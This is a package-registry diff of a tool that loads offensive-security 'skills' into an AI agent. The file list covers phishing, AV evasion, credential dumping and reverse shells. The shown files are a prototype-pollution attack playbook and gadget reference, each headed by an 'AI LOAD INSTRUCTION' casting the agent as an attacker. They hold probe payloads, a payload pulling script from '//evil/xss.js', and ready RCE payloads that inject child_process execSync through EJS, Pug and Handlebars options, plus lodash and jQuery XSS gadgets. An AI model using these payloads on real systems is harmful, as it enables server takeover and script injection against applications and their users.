ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,190 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: prototype-pollution
|
|
3
|
+
description: >-
|
|
4
|
+
Prototype pollution testing for JavaScript stacks. Use when user input is
|
|
5
|
+
merged into objects (query parsers, JSON bodies, deep assign), when
|
|
6
|
+
configuring libraries via untrusted keys, or when hunting RCE gadgets via
|
|
7
|
+
polluted Object.prototype in Node or the browser.gated: true
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
# SKILL: Prototype Pollution — Expert Attack Playbook
|
|
11
|
+
|
|
12
|
+
> **AI LOAD INSTRUCTION**: Expert prototype pollution for client and server JS. Covers `__proto__` vs `constructor.prototype`, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on **parser behavior** and **post-pollution sinks**.
|
|
13
|
+
|
|
14
|
+
Routing note: prioritize PP when you see deep merges, recursive assign, `JSON.parse` followed by `Object.assign`, or URL queries converted to nested objects.
|
|
15
|
+
|
|
16
|
+
## 0. QUICK START
|
|
17
|
+
|
|
18
|
+
### Client-side first probes
|
|
19
|
+
|
|
20
|
+
```text
|
|
21
|
+
#__proto__[polluted]=1
|
|
22
|
+
#__proto__[polluted]=polluted
|
|
23
|
+
#constructor[prototype][polluted]=1
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
When input can reflect into DOM or framework routing, pair with `alert(1)` / `console` checks to observe whether global object properties were polluted.
|
|
27
|
+
|
|
28
|
+
```text
|
|
29
|
+
#__proto__[xxx]=alert(1)
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
### Server-side first probes(JSON / form)
|
|
33
|
+
|
|
34
|
+
```json
|
|
35
|
+
{"__proto__":{"polluted":true}}
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
```json
|
|
39
|
+
{"constructor":{"prototype":{"polluted":true}}}
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads `Object.prototype.polluted` (see §3 detection table).
|
|
43
|
+
|
|
44
|
+
### Quick boolean
|
|
45
|
+
|
|
46
|
+
If target code uses `lodash.merge`, `deep-extend`, `hoek.applyToDefaults`, or some `qs`/`query-string` configurations, **raise priority**.
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
## 1. MECHANISM
|
|
51
|
+
|
|
52
|
+
**Prototype chain**: when accessing `obj.key`, if `obj` lacks own property `key`, lookup walks up `[[Prototype]]` until `Object.prototype`.
|
|
53
|
+
|
|
54
|
+
**`__proto__`**: many parsers treat literal key `__proto__` as a magic path that attaches child properties to the prototype. Merging `{ "__proto__": { "x": 1 } }` can be equivalent to `Object.prototype.x = 1` depending on implementation and patch level.
|
|
55
|
+
|
|
56
|
+
**`constructor.prototype`**: `constructor` typically points to the object's constructor function; `constructor.prototype` is that constructor's prototype object. For plain objects this usually links to `Object.prototype`. Example path:
|
|
57
|
+
|
|
58
|
+
```json
|
|
59
|
+
{"constructor":{"prototype":{"polluted":1}}}
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
This is not always equivalent to `__proto__` (filtering, JSON parsing, Bun/Node differences), so **test both paths**.
|
|
63
|
+
|
|
64
|
+
**Core issue**: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to **prototype objects**, giving **global** or shared template context malicious properties that later code reads normally, triggering gadgets.
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## 2. CLIENT-SIDE DETECTION
|
|
69
|
+
|
|
70
|
+
### URL fragment
|
|
71
|
+
|
|
72
|
+
```text
|
|
73
|
+
https://app.example/page#__proto__[admin]=1
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
```text
|
|
77
|
+
https://app.example/#__proto__[xxx]=alert(1)
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
If router or analytics code parses fragments into objects and then merges, pollution may occur.
|
|
81
|
+
|
|
82
|
+
### `constructor.prototype` path
|
|
83
|
+
|
|
84
|
+
```text
|
|
85
|
+
#constructor[prototype][role]=admin
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
### DOM / attribute injection ideas
|
|
89
|
+
|
|
90
|
+
If the framework merges attribute names as object keys:
|
|
91
|
+
|
|
92
|
+
```text
|
|
93
|
+
__proto__[src]=//evil/xss.js
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
Event-handler style keys (implementation-dependent):
|
|
97
|
+
|
|
98
|
+
```text
|
|
99
|
+
__proto__[onerror]=alert(1)
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
**Verification**: open a fresh page without fragment and check in console whether test keys remain on `Object.prototype`; account for extension and DevTools interference.
|
|
103
|
+
|
|
104
|
+
---
|
|
105
|
+
|
|
106
|
+
## 3. SERVER-SIDE DETECTION (Express / Node, black-box)
|
|
107
|
+
|
|
108
|
+
The payloads below assume body/query is deeply parsed into objects by **qs** or similar parsers (possibly with `body-parser`). Observe **global side effects**, not only current endpoint return values.
|
|
109
|
+
|
|
110
|
+
| Payload (JSON example) | Expected observable signal |
|
|
111
|
+
|----------------------|----------------|
|
|
112
|
+
| `{"__proto__":{"parameterLimit":1}}` | Multi-parameter parsing in follow-up requests is ignored or abnormal (`qs`-style `parameterLimit`) |
|
|
113
|
+
| `{"__proto__":{"ignoreQueryPrefix":true}}` | Double-question-mark prefixes like `??foo=bar` are accepted or behavior changes sharply |
|
|
114
|
+
| `{"__proto__":{"allowDots":true}}` | Nested keys like `?foo.bar=baz` are expanded via dot notation |
|
|
115
|
+
| `{"__proto__":{"json spaces":" "}}` | JSON-serialized responses gain extra spaces (`JSON.stringify` spacing setting polluted) |
|
|
116
|
+
| `{"__proto__":{"exposedHeaders":["foo"]}}` | CORS responses include `foo`-related headers (if framework reads config from prototype) |
|
|
117
|
+
| `{"__proto__":{"status":510}}` | Some response status changes to 510 or another abnormal code (app reads `status` from object) |
|
|
118
|
+
|
|
119
|
+
**Operational tip**: send pollution request first, then a **clean** request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.
|
|
120
|
+
|
|
121
|
+
---
|
|
122
|
+
|
|
123
|
+
## 4. EXPLOITATION GADGETS
|
|
124
|
+
|
|
125
|
+
| Target / scenario | Payload or pattern | Notes |
|
|
126
|
+
|-------------|------------|------|
|
|
127
|
+
| **EJS** | `{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}` | If template engine options like `escapeFunction` are read from polluted prototype, this may lead to RCE; strongly version/config dependent |
|
|
128
|
+
| **Timelion expression chain (CVE-2019-7609)** | `.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')` | Historical chain: prototype pollution + timeline expression execution; useful to understand **expression + PP** combinations |
|
|
129
|
+
| **Node `child_process`** | Pollute `shell`, `argv0`, `env`, `NODE_OPTIONS`, etc. (merged into `exec`/`fork` option objects) | Depends on whether later code calls `spawn`/`fork` and reads options from prototype chain |
|
|
130
|
+
| **Generic constructor path** | `{"constructor":{"prototype":{"foo":"bar"}}}` | Bypasses weak validation that filters only the `__proto__` key |
|
|
131
|
+
|
|
132
|
+
**Chain mindset**: pollution -> dependency reads `obj.settings.xxx` without `hasOwnProperty` -> RCE / SSRF / path traversal.
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## 5. TOOLS
|
|
137
|
+
|
|
138
|
+
| Project | Purpose |
|
|
139
|
+
|------|------|
|
|
140
|
+
| **yeswehack/pp-finder** | Helps locate PP-prone merge points and patterns |
|
|
141
|
+
| **yuske/silent-spring** | Research and detection around prototype-pollution surfaces |
|
|
142
|
+
| **yuske/server-side-prototype-pollution** | Server-side PP testing suite/methodology |
|
|
143
|
+
| **BlackFan/client-side-prototype-pollution** | Browser-side PP cases and payloads |
|
|
144
|
+
| **portswigger/server-side-prototype-pollution** | Burp ecosystem extension / supporting material |
|
|
145
|
+
| **msrkp/PPScan** | Scanning/verification helper |
|
|
146
|
+
|
|
147
|
+
Prioritize use on **authorized** targets; automated tools can cause side effects on stateful applications.
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## 6. DECISION TREE
|
|
152
|
+
|
|
153
|
+
```
|
|
154
|
+
Input merged into nested object?
|
|
155
|
+
(query, JSON, GraphQL vars, YAML→JSON)
|
|
156
|
+
|
|
|
157
|
+
NO --------------+-------------- YES
|
|
158
|
+
| |
|
|
159
|
+
Other vuln class Parser allows __proto__ /
|
|
160
|
+
constructor.prototype keys?
|
|
161
|
+
|
|
|
162
|
+
NO --------------+-------------- YES
|
|
163
|
+
| |
|
|
164
|
+
Check unicode / Confirm global effect:
|
|
165
|
+
bypass of key names clean follow-up request
|
|
166
|
+
| |
|
|
167
|
+
+--------------+----------------+
|
|
168
|
+
|
|
|
169
|
+
v
|
|
170
|
+
Gadget present? (template, spawn, JSON.stringify opts, CORS)
|
|
171
|
+
|
|
|
172
|
+
NO ------------------+------------------ YES
|
|
173
|
+
| |
|
|
174
|
+
Report PP as DoS / Build minimal RCE or
|
|
175
|
+
logic impact high-impact PoC
|
|
176
|
+
| |
|
|
177
|
+
+---------------------+-------------------+
|
|
178
|
+
|
|
|
179
|
+
v
|
|
180
|
+
Client-side: fragment / DOM / third-party script
|
|
181
|
+
Server-side: qs/body-parser/lodash/deep-merge version audit
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Related routing
|
|
187
|
+
|
|
188
|
+
- Input routing and multi-injection parallel entry -> [Injection Testing Router](../injection-checking/SKILL.md).
|
|
189
|
+
- Template execution chains (non-PP) -> [SSTI](../ssti-server-side-template-injection/SKILL.md).
|
|
190
|
+
- Insecure deserialization (non-JS prototype) -> [Deserialization](../deserialization-insecure/SKILL.md).
|
|
@@ -0,0 +1,253 @@
|
|
|
1
|
+
# Prototype Pollution — Known Gadgets Reference
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Comprehensive gadget table for prototype pollution exploitation. Load this when you've confirmed PP and need to find a matching gadget for the target's framework/library. Each entry includes the polluted property, trigger condition, impact (XSS/RCE), and affected versions.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. EXPRESS TEMPLATE ENGINES (Server-Side → RCE)
|
|
8
|
+
|
|
9
|
+
### EJS (Embedded JavaScript)
|
|
10
|
+
|
|
11
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
12
|
+
|---|---|---|---|---|
|
|
13
|
+
| `outputFunctionName` | `"x;process.mainModule.require('child_process').execSync('id');s"` | Any `res.render()` call | RCE | All versions with `opts` merge |
|
|
14
|
+
| `destructuredLocals` | Array injection to control variable declarations | `res.render()` | RCE | EJS 3.x |
|
|
15
|
+
| `escapeFunction` | Replace escape function with code | `res.render()` with HTML escaping | RCE | EJS 2.x–3.x |
|
|
16
|
+
| `client` | `true` → changes compilation mode | `res.render()` | Code path change | All |
|
|
17
|
+
|
|
18
|
+
```json
|
|
19
|
+
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('COMMAND');s"}}
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
### Pug (formerly Jade)
|
|
23
|
+
|
|
24
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
25
|
+
|---|---|---|---|---|
|
|
26
|
+
| `block` | `{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('COMMAND');//"}` | `pug.compile()` / `pug.render()` | RCE | Pug 2.x–3.x |
|
|
27
|
+
| `self` | `true` + `line` injection | Template compilation | RCE | Pug 2.x |
|
|
28
|
+
| `debug` | `true` → outputs source code | Template compilation | Info disclosure | All |
|
|
29
|
+
| `compileDebug` | `true` → includes debug info | Template compilation | Info disclosure | All |
|
|
30
|
+
|
|
31
|
+
```json
|
|
32
|
+
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('COMMAND');//"}}}
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
### Jade (Legacy)
|
|
36
|
+
|
|
37
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
38
|
+
|---|---|---|---|---|
|
|
39
|
+
| `self` | `true` | `jade.render()` | Code path change → RCE chain | Jade 1.x |
|
|
40
|
+
| `debug` | `true` | Compilation | Source disclosure | All |
|
|
41
|
+
|
|
42
|
+
### Mustache / Handlebars
|
|
43
|
+
|
|
44
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
45
|
+
|---|---|---|---|---|
|
|
46
|
+
| `type` | `"Program"` with malicious body | `Handlebars.compile()` | RCE | Handlebars 4.x |
|
|
47
|
+
| `allowProtoMethodsByDefault` | `true` | Any template render | Enables prototype method access | Handlebars 4.6+ |
|
|
48
|
+
| `allowProtoPropertiesByDefault` | `true` | Any template render | Enables prototype property access | Handlebars 4.6+ |
|
|
49
|
+
| `helpers` | Custom helper functions | Template with `{{helper}}` | RCE | All |
|
|
50
|
+
|
|
51
|
+
```json
|
|
52
|
+
{"__proto__":{"allowProtoMethodsByDefault":true,"allowProtoPropertiesByDefault":true}}
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
### Nunjucks
|
|
56
|
+
|
|
57
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
58
|
+
|---|---|---|---|---|
|
|
59
|
+
| `type` | `"Code"` with value containing malicious code | `nunjucks.render()` | RCE | Nunjucks 3.x |
|
|
60
|
+
| `autoesc` | `false` → disable auto-escaping | Template render | XSS escalation | All |
|
|
61
|
+
|
|
62
|
+
### Twig.js
|
|
63
|
+
|
|
64
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
65
|
+
|---|---|---|---|---|
|
|
66
|
+
| `allowInlineIncludes` | `true` | Template include | File inclusion | Twig.js 1.x |
|
|
67
|
+
| `rethrow` | Custom function | Error handling | Code execution | Twig.js 1.x |
|
|
68
|
+
|
|
69
|
+
---
|
|
70
|
+
|
|
71
|
+
## 2. LODASH
|
|
72
|
+
|
|
73
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
74
|
+
|---|---|---|---|---|
|
|
75
|
+
| `sourceURL` | `"\u000ajavascript:alert(1)//"` | `_.template()` execution | XSS | Lodash < 4.17.21 |
|
|
76
|
+
| `template` | Template string | `_.template()` | Code injection | All |
|
|
77
|
+
| `imports._.templateSettings.interpolate` | Custom regex | `_.template()` | Code injection | All |
|
|
78
|
+
|
|
79
|
+
Vulnerable functions (merge sinks, NOT gadgets):
|
|
80
|
+
- `_.merge(target, source)` — deep merge, writes to prototype
|
|
81
|
+
- `_.defaultsDeep(target, source)` — same
|
|
82
|
+
- `_.set(obj, path, value)` — if path is `__proto__.x`
|
|
83
|
+
- `_.setWith(obj, path, value)` — same
|
|
84
|
+
|
|
85
|
+
```javascript
|
|
86
|
+
// Pollution via merge:
|
|
87
|
+
_.merge({}, JSON.parse('{"__proto__":{"sourceURL":"\\u000ajavascript:alert(1)//"}}'));
|
|
88
|
+
// Trigger:
|
|
89
|
+
_.template('hello')();
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## 3. JQUERY
|
|
95
|
+
|
|
96
|
+
| Polluted Property | Payload | Trigger | Impact | Versions |
|
|
97
|
+
|---|---|---|---|---|
|
|
98
|
+
| `innerHTML` | `"<img src=x onerror=alert(1)>"` | DOM manipulation | XSS | jQuery 2.x–3.x |
|
|
99
|
+
| `src` | `"javascript:alert(1)"` | Element creation | XSS | All |
|
|
100
|
+
| `href` | `"javascript:alert(1)"` | Link creation | XSS | All |
|
|
101
|
+
| `text` | Malicious string | `.text()` on empty elements | Content injection | All |
|
|
102
|
+
|
|
103
|
+
Vulnerable functions (merge sinks):
|
|
104
|
+
- `$.extend(true, {}, userInput)` — deep merge with `true` first arg
|
|
105
|
+
- `$.fn.extend()` — if called with attacker input
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
